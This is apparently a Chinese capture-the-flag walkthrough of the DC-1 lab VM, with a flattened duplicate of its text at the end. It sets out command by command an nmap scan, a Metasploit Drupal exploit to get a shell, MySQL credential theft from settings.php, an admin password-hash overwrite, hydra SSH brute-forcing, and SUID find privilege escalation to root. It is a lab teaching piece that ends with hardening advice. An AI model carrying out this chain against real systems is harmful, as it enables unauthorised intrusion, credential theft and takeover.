DC-1靶机渗透
字数 1071 2025-08-12 11:34:03

DC-1靶机渗透实战教学文档

环境搭建

  1. 下载DC-1靶机镜像文件
  2. 在虚拟机软件(如VMware或VirtualBox)中加载该镜像
  3. 将靶机网络模式设置为NAT模式
  4. 启动靶机

信息收集阶段

网络扫描

  1. 使用nmap扫描C段,确定靶机IP地址:

    nmap -Pn 192.168.207.0/24
    
  2. 对发现的靶机IP(示例为192.168.207.227)进行详细扫描:

    nmap -sS -sV -sC -O 192.168.207.227
    
    • -sS: TCP SYN扫描
    • -sV: 服务版本探测
    • -sC: 使用默认脚本扫描
    • -O: 操作系统探测
  3. 扫描结果分析:

    • 开放端口:22(SSH)、80(HTTP)、111(RPCbind)
    • Web框架:Drupal 7

漏洞利用阶段

使用Metasploit框架

  1. 启动msfconsole:

    msfconsole -q
    
  2. 搜索Drupal相关漏洞:

    search drupal
    
  3. 选择漏洞利用模块:

    • 选择Rank为"excellent"且年份最近的模块
    • 示例中使用的是第二个模块:
      use 2
      
  4. 配置攻击参数:

    set RHOSTS 192.168.207.227
    show options
    
  5. 执行攻击:

    exploit
    
    • 成功后会获得meterpreter会话

获取交互式shell

  1. 在meterpreter中获取shell:

    shell
    
  2. 升级为交互式shell:

    python -c 'import pty;pty.spawn("/bin/bash")'
    

获取flag1

  1. 在系统中查找flag1
  2. 根据flag1的提示,查找Drupal的配置文件

获取flag2

  1. 查看Drupal配置文件:

    cat /sites/default/settings.php
    
    • 发现flag2
    • 同时发现MySQL凭据:用户名dbuser,密码R0ck3t
  2. 登录MySQL数据库:

    mysql -u dbuser -pR0ck3t
    
  3. 操作数据库:

    use drupaldb;
    select * from users;
    desc users;
    
  4. 修改管理员密码:

    • 使用Drupal自带的加密脚本生成密码hash:
      /var/www/scripts/password-hash.sh admin
      
    • 更新数据库中的管理员密码:
      update drupaldb.users set pass="$S$Dh4KPBQOOmjtoV/.o.TbUaqBqAKcBUOOENjJRgyUPtzvEggJg7I/" where uid=1;
      

获取flag3

  1. 使用新密码(admin:admin)登录Drupal后台:

    • 访问http://192.168.207.227:80
  2. 在Dashboard中发现flag3

  3. 查看系统用户:

    cat /etc/passwd
    
    • 发现存在flag4用户

获取flag4

  1. 使用hydra爆破SSH服务:

    hydra -l flag4 -P /usr/share/wordlists/rockyou.txt -t 10 ssh://192.168.207.227
    
    • 爆破成功,密码为orange
  2. 登录flag4账户:

    ssh flag4@192.168.207.227
    
  3. 查看flag4:

    cat /home/flag4/flag4.txt
    

权限提升

  1. 查找具有SUID权限的命令:

    find / -perm -4000 2>/dev/null
    
    • 发现find命令具有SUID权限
  2. 利用find命令提权:

    find /usr/bin/find -exec "/bin/sh" \;
    
    • 注意:使用/bin/sh而不是/bin/bash
  3. 获取最终flag:

    cat /root/thefinalflag.txt
    

关键点总结

  1. 信息收集要全面,特别是服务版本信息
  2. Drupal CMS是常见攻击面,要熟悉其漏洞利用方式
  3. 数据库凭证常存储在配置文件中
  4. 密码重置是获取后台访问的有效方法
  5. SUID权限检查是提权的重要途径
  6. 每个flag都提供了下一步的线索,要仔细阅读

安全建议

  1. 及时更新CMS系统
  2. 配置文件不应包含敏感信息或使用严格权限
  3. 避免使用弱密码
  4. 限制不必要的SUID权限
  5. 实施最小权限原则
DC-1靶机渗透实战教学文档 环境搭建 下载DC-1靶机镜像文件 在虚拟机软件(如VMware或VirtualBox)中加载该镜像 将靶机网络模式设置为NAT模式 启动靶机 信息收集阶段 网络扫描 使用nmap扫描C段,确定靶机IP地址: 对发现的靶机IP(示例为192.168.207.227)进行详细扫描: -sS : TCP SYN扫描 -sV : 服务版本探测 -sC : 使用默认脚本扫描 -O : 操作系统探测 扫描结果分析: 开放端口:22(SSH)、80(HTTP)、111(RPCbind) Web框架:Drupal 7 漏洞利用阶段 使用Metasploit框架 启动msfconsole: 搜索Drupal相关漏洞: 选择漏洞利用模块: 选择Rank为"excellent"且年份最近的模块 示例中使用的是第二个模块: 配置攻击参数: 执行攻击: 成功后会获得meterpreter会话 获取交互式shell 在meterpreter中获取shell: 升级为交互式shell: 获取flag1 在系统中查找flag1 根据flag1的提示,查找Drupal的配置文件 获取flag2 查看Drupal配置文件: 发现flag2 同时发现MySQL凭据:用户名 dbuser ,密码 R0ck3t 登录MySQL数据库: 操作数据库: 修改管理员密码: 使用Drupal自带的加密脚本生成密码hash: 更新数据库中的管理员密码: 获取flag3 使用新密码(admin:admin)登录Drupal后台: 访问 http://192.168.207.227:80 在Dashboard中发现flag3 查看系统用户: 发现存在flag4用户 获取flag4 使用hydra爆破SSH服务: 爆破成功,密码为 orange 登录flag4账户: 查看flag4: 权限提升 查找具有SUID权限的命令: 发现 find 命令具有SUID权限 利用find命令提权: 注意:使用 /bin/sh 而不是 /bin/bash 获取最终flag: 关键点总结 信息收集要全面,特别是服务版本信息 Drupal CMS是常见攻击面,要熟悉其漏洞利用方式 数据库凭证常存储在配置文件中 密码重置是获取后台访问的有效方法 SUID权限检查是提权的重要途径 每个flag都提供了下一步的线索,要仔细阅读 安全建议 及时更新CMS系统 配置文件不应包含敏感信息或使用严格权限 避免使用弱密码 限制不必要的SUID权限 实施最小权限原则